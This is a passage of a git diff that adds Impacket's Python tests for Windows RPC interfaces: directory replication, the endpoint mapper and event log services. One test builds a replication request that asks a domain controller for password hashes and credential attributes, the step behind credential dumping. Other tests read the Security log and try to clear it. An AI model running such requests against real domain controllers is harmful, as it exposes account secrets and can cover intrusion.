+        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 3)
+        resp.dump()
+
+        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 0xffffffff)
+        resp.dump()
+
+    def test_DRSCrackNames(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSCrackNames()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 1
+
+        request['pmsgIn']['tag'] = 1
+        request['pmsgIn']['V1']['CodePage'] = 0
+        request['pmsgIn']['V1']['LocaleId'] = 0
+        request['pmsgIn']['V1']['dwFlags'] = 0
+        request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
+        request['pmsgIn']['V1']['formatDesired'] = drsuapi.DS_USER_PRINCIPAL_NAME_FOR_LOGON
+        request['pmsgIn']['V1']['cNames'] = 1
+        name = LPWSTR()
+        #name['Data'] = 'FREEFLY-DC\x00'
+        #name['Data'] = 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\x00'
+        #name['Data'] = 'CN=FREEFLY-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\x00'
+        name['Data'] = 'Administrator\x00'
+        request['pmsgIn']['V1']['rpNames'].append(name)
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDRSCrackNames(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        name = 'Administrator'
+        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
+        formatDesired = drsuapi.DS_STRING_SID_NAME
+
+        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, formatOffered, formatDesired, (name,))
+        resp.dump()
+
+        name = 'CN=NTDS Settings,CN=DC1-WIN2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])
+        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, (name,))
+        resp.dump()
+
+        name = 'CN=NTDS Settings,CN=DC1-WIN2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])
+        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_STRING_SID_NAME, (name,))
+        resp.dump()
+
+        name = self.domain.upper()
+        #name = ''
+        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_LIST_ROLES, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, (name,))
+        resp.dump()
+
+    def test_DRSGetNT4ChangeLog(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSGetNT4ChangeLog()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 1
+
+        request['pmsgIn']['tag'] = 1
+        request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_NT4_CHGLOG_GET_CHANGE_LOG | drsuapi.DRS_NT4_CHGLOG_GET_SERIAL_NUMBERS
+        request['pmsgIn']['V1']['PreferredMaximumLength'] = 0x4000
+        request['pmsgIn']['V1']['cbRestart'] = 0
+        request['pmsgIn']['V1']['pRestart'] = NULL
+
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') <0:
+                raise
+
+    def test_DRSVerifyNames(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSVerifyNames()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 1
+
+        request['pmsgIn']['tag'] = 1
+        request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_VERIFY_DSNAMES
+        request['pmsgIn']['V1']['cNames'] = 1
+        request['pmsgIn']['V1']['PrefixTable']['pPrefixEntry'] = NULL
+
+        dsName = drsuapi.PDSNAME()
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])
+
+        dsName['NameLen'] = len(name)
+        dsName['StringName'] = (name + '\x00')
+        dsName['structLen'] = len(dsName.getDataReferent())-4
+
+        request['pmsgIn']['V1']['rpNames'].append(dsName)
+
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_DRSGetNCChanges(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSGetNCChanges()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 8
+
+        request['pmsgIn']['tag'] = 8
+        request['pmsgIn']['V8']['uuidDsaObjDest'] = DsaObjDest
+        request['pmsgIn']['V8']['uuidInvocIdSrc'] = DsaObjDest
+        #request['pmsgIn']['V8']['pNC'] = NULL
+
+        dsName = drsuapi.DSNAME()
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])
+        dsName['NameLen'] = len(name)
+        dsName['StringName'] = (name + '\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V8']['pNC'] = dsName
+
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
+
+        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
+
+        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC  #| drsuapi.DRS_CRITICAL_ONLY
+        request['pmsgIn']['V8']['cMaxObjects'] = 100
+        request['pmsgIn']['V8']['cMaxBytes'] = 0
+        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ | drsuapi.EXOP_REPL_SECRETS
+
+        prefixTable = []
+        oid1 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.656') # principalName
+        oid2 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.221') #'sAMAccountName'
+        oid3 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.90') # 'unicodePwd'
+        oid4 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.94') # ntPwdHistory
+        oid5 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.160') # lmPwdHistory
+        oid6 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.125') # supplementalCreds
+        oid7 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.146') # objectSid
+
+        request['pmsgIn']['V8']['pPartialAttrSet']['dwVersion'] = 1
+        request['pmsgIn']['V8']['pPartialAttrSet']['cAttrs'] = 7
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid1)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid2)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid3)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid4)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid5)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid6)
+        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid7)
+        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
+        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(prefixTable)
+        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = prefixTable
+
+        resp = dce.request(request)
+        resp.dump()
+
+        #moreData = 1
+        #while moreData > 0:
+        #    thisObject = resp['pmsgOut']['V6']['pObjects']
+        #    done = False
+        #    while not done:
+        #        nextObject = thisObject['pNextEntInf']
+        #        thisObject['pNextEntInf'] = NULL
+        #        thisObject.dump()
+        #        print thisObject['Entinf']['pName']['StringName']
+        #        thisObject = nextObject
+        #        if nextObject == '':
+        #            done = True
+        #    request['pmsgIn']['V8']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']['uuidInvocIdSrc']
+        #    request['pmsgIn']['V8']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
+        #    resp = dce.request(request)
+        #    moreData = resp['pmsgOut']['V6']['fMoreData']
+        #print "OBJECTS ", resp['pmsgOut']['V6']['cNumObjects']
+
+    def getMoreData(self, dce, request, resp):
+        while resp['pmsgOut']['V6']['fMoreData'] > 0:
+            #thisObject = resp['pmsgOut']['V6']['pObjects']
+            #done = False
+            #while not done:
+            #    nextObject = thisObject['pNextEntInf']
+            #    thisObject['pNextEntInf'] = NULL
+                #thisObject.dump()
+                #print '\n'
+                #print thisObject['Entinf']['pName']['StringName']
+            #    thisObject = nextObject
+            #    if nextObject == '':
+            #        done = True
+
+            request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']
+            request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
+            resp = dce.request(request)
+            resp.dump()
+            print('\n')
+
+    @pytest.mark.xfail
+    def test_DRSGetNCChanges2(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSGetNCChanges()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 10
+
+        request['pmsgIn']['tag'] =10
+        request['pmsgIn']['V10']['uuidDsaObjDest'] = DsaObjDest
+        request['pmsgIn']['V10']['uuidInvocIdSrc'] = drsuapi.NULLGUID
+        #request['pmsgIn']['V10']['pNC'] = NULL
+
+        dsName = drsuapi.DSNAME()
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+
+        name = 'CN=Schema,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])
+        dsName['NameLen'] = len(name)
+        dsName['StringName'] = (name + '\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V10']['pNC'] = dsName
+
+        request['pmsgIn']['V10']['usnvecFrom']['usnHighObjUpdate'] = 0
+        request['pmsgIn']['V10']['usnvecFrom']['usnHighPropUpdate'] = 0
+
+        request['pmsgIn']['V10']['pUpToDateVecDest'] = NULL
+
+        request['pmsgIn']['V10']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC  | drsuapi.DRS_WRIT_REP | drsuapi.DRS_FULL_SYNC_NOW
+        request['pmsgIn']['V10']['cMaxObjects'] = 100
+        request['pmsgIn']['V10']['cMaxBytes'] = 0
+        request['pmsgIn']['V10']['ulExtendedOp'] = 0
+        request['pmsgIn']['V10']['pPartialAttrSet'] = NULL
+        request['pmsgIn']['V10']['pPartialAttrSetEx1'] = NULL
+        request['pmsgIn']['V10']['PrefixTableDest']['pPrefixEntry'] = NULL
+        #request['pmsgIn']['V10']['ulMoreFlags'] = 0
+        resp = dce.request(request)
+        print(resp['pmsgOut']['V6']['pNC']['StringName'])
+        resp.dump()
+        print('\n')
+        self.getMoreData(dce, request, resp)
+
+        dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+
+        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])
+        dsName['NameLen'] = len(name)
+        dsName['StringName'] = (name + '\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V10']['pNC'] = dsName
+        resp = dce.request(request)
+        print(resp['pmsgOut']['V6']['pNC']['StringName'])
+        resp.dump()
+        print('\n')
+        self.getMoreData(dce, request, resp)
+
+        dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)
+        dsName['SidLen'] = 0
+        dsName['Guid'] = drsuapi.NULLGUID
+        dsName['Sid'] = ''
+
+        name = 'CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])
+        dsName['NameLen'] = len(name)
+        dsName['StringName'] = (name + '\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V10']['pNC'] = dsName
+        resp = dce.request(request)
+        print(resp['pmsgOut']['V6']['pNC']['StringName'])
+        resp.dump()
+        print('\n')
+        self.getMoreData(dce, request, resp)
+
+        #while resp['pmsgOut']['V6']['fMoreData'] > 0:
+        #    thisObject = resp['pmsgOut']['V6']['pObjects']
+        #    done = False
+        #    while not done:
+        #        nextObject = thisObject['pNextEntInf']
+        #        thisObject['pNextEntInf'] = NULL
+        #        #thisObject.dump()
+        #        #print '\n'
+        #        #print thisObject['Entinf']['pName']['StringName']
+        #        thisObject = nextObject
+        #        if nextObject == '':
+        #            done = True
+#
+#            print "B"*80
+#            request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']
+#            request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
+#            resp = dce.request(request)
+
+
+@pytest.mark.remote
+class DRSRTestsSMBTransport(DRSRTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class DRSRTestsSMBTransport64(DRSRTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class DRSRTestsTCPTransport(DRSRTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+@pytest.mark.remote
+class DRSRTestsTCPTransport64(DRSRTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_epm.py b/tests/dcerpc/test_epm.py
new file mode 100644
index 0000000..1c9f72a
--- /dev/null
+++ b/tests/dcerpc/test_epm.py
@@ -0,0 +1,124 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)ept_lookup
+#   (h)ept_map
+#
+from __future__ import division
+from __future__ import print_function
+import socket
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import epm
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.uuid import string_to_bin, uuidtup_to_bin
+
+
+class EPMTests(DCERPCTests):
+    iface_uuid = epm.MSRPC_UUID_PORTMAP
+    string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]"
+    authn = True
+
+    def test_lookup(self):
+        dce, rpctransport = self.connect()
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+      
+        resp = dce.request(request)
+        for entry in resp['entries']:
+            tower = entry['tower']['tower_octet_string']
+            epm.EPMTower(b''.join(tower))
+
+    def test_hlookup(self):
+        epm.hept_lookup(self.machine)
+        MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
+        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SAMR)
+        MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
+        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_ATSVC)
+        MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
+        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SCMR)
+
+    def test_map(self):
+        dce, rpctransport = self.connect()
+        tower = epm.EPMTower()
+        interface = epm.EPMRPCInterface()
+        interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')
+        interface['MajorVersion'] = 1
+        interface['MinorVersion'] = 0
+
+        dataRep = epm.EPMRPCDataRepresentation()
+        dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')
+        dataRep['MajorVersion'] = 2
+        dataRep['MinorVersion'] = 0
+
+        protId = epm.EPMProtocolIdentifier()
+        protId['ProtIdentifier'] = 0xb
+
+        pipeName = epm.EPMPipeName()
+        pipeName['PipeName'] = b'\x00'
+
+        portAddr = epm.EPMPortAddr()
+        portAddr['IpPort'] = 0
+
+        hostAddr = epm.EPMHostAddr()
+        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
+
+        hostName = epm.EPMHostName()
+        hostName['HostName'] = b'\x00'
+
+        tower['NumberOfFloors'] = 5
+        tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()
+        request = epm.ept_map()
+        request['max_towers'] = 4
+        request['map_tower']['tower_length'] = len(tower)
+        request['map_tower']['tower_octet_string'] = tower.getData()
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hept_map(self):
+        MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
+        epm.hept_map(self.machine, MSRPC_UUID_SAMR)
+        epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp')
+        MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
+        epm.hept_map(self.machine, MSRPC_UUID_ATSVC)
+        MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
+        epm.hept_map(self.machine, MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp')
+
+
+@pytest.mark.remote
+class EPMTestsSMBTransport(EPMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class EPMTestsSMBTransport64(EPMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class EPMTestsTCPTransport(EPMTests, unittest.TestCase):
+    string_binding = r"ncacn_ip_tcp:{0.machine}[135]"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class EPMTestsTCPTransport64(EPMTests, unittest.TestCase):
+    string_binding = r"ncacn_ip_tcp:{0.machine}[135]"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_even.py b/tests/dcerpc/test_even.py
new file mode 100644
index 0000000..44c142e
--- /dev/null
+++ b/tests/dcerpc/test_even.py
@@ -0,0 +1,204 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)ElfrOpenBELW
+#   (h)ElfrOpenELW
+#   (h)ElfrRegisterEventSourceW
+#   (h)ElfrReadELW
+#   (h)ElfrClearELFW
+#   (h)ElfrBackupELFW
+#   ElfrReportEventW
+#   hElfrNumberOfRecords
+#   hElfrOldestRecordNumber
+# Not yet:
+#   ElfrCloseEL
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from six import assertRaisesRegex
+
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import even
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class RRPTests(DCERPCTests):
+
+    iface_uuid = even.MSRPC_UUID_EVEN
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_ElfrOpenBELW(self):
+        dce, rpctransport = self.connect()
+        request = even.ElfrOpenBELW()
+        request['UNCServerName'] = NULL
+        request['BackupFileName'] = '\\??\\BETO'
+        request['MajorVersion'] = 1
+        request['MinorVersion'] = 1
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_NOT_FOUND"):
+            dce.request(request)
+
+    def test_hElfrOpenBELW(self):
+        dce, rpctransport = self.connect()
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_NOT_FOUND"):
+            even.hElfrOpenBELW(dce, '\\??\\BETO')
+
+    def test_ElfrOpenELW(self):
+        dce, rpctransport = self.connect()
+        request = even.ElfrOpenELW()
+        request['UNCServerName'] = NULL
+        request['ModuleName'] = 'Security'
+        request['RegModuleName'] = ''
+        request['MajorVersion'] = 1
+        request['MinorVersion'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hElfrOpenELW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+
+    def test_ElfrRegisterEventSourceW(self):
+        dce, rpctransport = self.connect()
+        request = even.ElfrRegisterEventSourceW()
+        request['UNCServerName'] = NULL
+        request['ModuleName'] = 'Security'
+        request['RegModuleName'] = ''
+        request['MajorVersion'] = 1
+        request['MinorVersion'] = 1
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"):
+            dce.request(request)
+
+    def test_hElfrRegisterEventSourceW(self):
+        dce, rpctransport = self.connect()
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"):
+            even.hElfrRegisterEventSourceW(dce, 'Security', '')
+
+    def test_ElfrReadELW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        request = even.ElfrReadELW()
+        request['LogHandle'] = resp['LogHandle']
+        request['ReadFlags'] = even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ
+        request['RecordOffset'] = 0
+        request['NumberOfBytesToRead'] = even.MAX_BATCH_BUFF
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hElfrReadELW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        resp = even.hElfrReadELW(dce, resp['LogHandle'],
+                                 even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ,
+                                 0, even.MAX_BATCH_BUFF)
+        resp.dump()
+
+    def test_ElfrClearELFW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        request = even.ElfrClearELFW()
+        request['LogHandle'] = resp['LogHandle']
+        request['BackupFileName'] = '\\??\\c:\\beto2'
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"):
+            dce.request(request)
+
+    def test_hElfrClearELFW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"):
+            even.hElfrClearELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2')
+
+    def test_ElfrBackupELFW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        request = even.ElfrBackupELFW()
+        request['LogHandle'] = resp['LogHandle']
+        request['BackupFileName'] = '\\??\\c:\\beto2'
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"):
+            dce.request(request)
+
+    def test_hElfrBackupELFW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"):
+            even.hElfrBackupELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2')
+
+    def test_ElfrReportEventW(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        request = even.ElfrReportEventW()
+        request['LogHandle'] = resp['LogHandle']
+        request['Time'] = 5000000
+        request['EventType'] = even.EVENTLOG_ERROR_TYPE
+        request['EventCategory'] = 0
+        request['EventID'] = 7037
+        request['ComputerName'] = 'MYCOMPUTER!'
+        request['NumStrings'] = 1
+        request['DataSize'] = 0
+        request['UserSID'].fromCanonical('S-1-2-5-21')
+        nn = even.PRPC_UNICODE_STRING()
+        nn['Data'] = 'HOLA BETUSSS'
+        request['Strings'].append(nn)
+        request['Data'] = NULL
+        request['Flags'] = 0
+        request['RecordNumber'] = NULL
+        request['TimeWritten'] = NULL
+
+        with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"):
+            dce.request(request)
+
+    def test_hElfrNumberOfRecords(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        resp = even.hElfrNumberOfRecords(dce, resp['LogHandle'])
+        resp.dump()
+
+    def test_hElfrOldestRecordNumber(self):
+        dce, rpctransport = self.connect()
+        resp = even.hElfrOpenELW(dce, 'Security', '')
+        resp.dump()
+        resp = even.hElfrOldestRecordNumber(dce, resp['LogHandle'])
+        resp.dump()
+
+
+@pytest.mark.remote
+class RRPTestsSMBTransport(RRPTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class RRPTestsSMBTransport64(RRPTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_even6.py b/tests/dcerpc/test_even6.py
new file mode 100644
index 0000000..e227a68
--- /dev/null
+++ b/tests/dcerpc/test_even6.py
@@ -0,0 +1,96 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)EvtRpcRegisterLogQuery
+#   (h)EvtRpcQueryNext
+# Not yet
+#   EvtRpcQuerySeek
+#   EvtRpcClose
+#   EvtRpcOpenLogHandle
+#   EvtRpcGetChannelList
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from six.moves import xrange
+
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import even6
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class EVEN6Tests(DCERPCTests):
+    iface_uuid = even6.MSRPC_UUID_EVEN6
+    protocol = "ncacn_ip_tcp"
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self):
+        dce, rpctransport = self.connect()
+
+        request = even6.EvtRpcRegisterLogQuery()
+        request['Path'] = 'Security\x00'
+        request['Query'] = '*\x00'
+        request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
+        request.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+        log_handle = resp['Handle']
+
+        request = even6.EvtRpcQueryNext()
+        request['LogQuery'] = log_handle
+        request['NumRequestedRecords'] = 5
+        request['TimeOutEnd'] = 1000
+        request['Flags'] = 0
+        request.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        for i in xrange(resp['NumActualRecords']):
+            event_offset = resp['EventDataIndices'][i]['Data']
+            event_size = resp['EventDataSizes'][i]['Data']
+            event = resp['ResultBuffer'][event_offset:event_offset + event_size]
+
+    def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self):
+        dce, rpctransport = self.connect()
+
+        resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\x00',
+                                             even6.EvtQueryChannelName | even6.EvtReadNewestToOldest,
+                                             '*\x00')
+        resp.dump()
+        log_handle = resp['Handle']
+
+        resp = even6.hEvtRpcQueryNext(dce, log_handle, 5, 1000)
+        resp.dump()
+
+        for i in xrange(resp['NumActualRecords']):
+            event_offset = resp['EventDataIndices'][i]['Data']
+            event_size = resp['EventDataSizes'][i]['Data']
+            event = resp['ResultBuffer'][event_offset:event_offset + event_size]
+
+
+@pytest.mark.remote
+class EVEN6TestsTCPTransport(EVEN6Tests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
